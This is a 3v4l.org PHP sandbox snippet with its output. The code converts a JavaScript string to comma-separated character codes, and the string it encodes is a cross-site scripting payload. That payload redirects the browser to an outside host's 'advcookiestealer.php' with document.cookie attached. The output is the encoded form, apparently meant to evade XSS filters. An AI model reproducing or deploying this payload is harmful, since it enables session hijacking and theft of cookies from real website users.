3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php function AsciiToInt($char){ $success = ""; if(strlen($char) == 1) return "char(".ord($char).")"; else{ for($i = 0; $i < strlen($char); $i++){ if($i == strlen($char) - 1) $success = $success.ord($char[$i]); else $success = $success.ord($char[$i]).","; } return $success; } } echo AsciiToInt("location.href='http://skrubbeltrang.t15.org/advcookiestealer.php?c='+document.cookie;");
Output for 4.3.0 - 7.1.0
108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,115,107,114,117,98,98,101,108,116,114,97,110,103,46,116,49,53,46,111,114,103,47,97,100,118,99,111,111,107,105,101,115,116,101,97,108,101,114,46,112,104,112,63,99,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59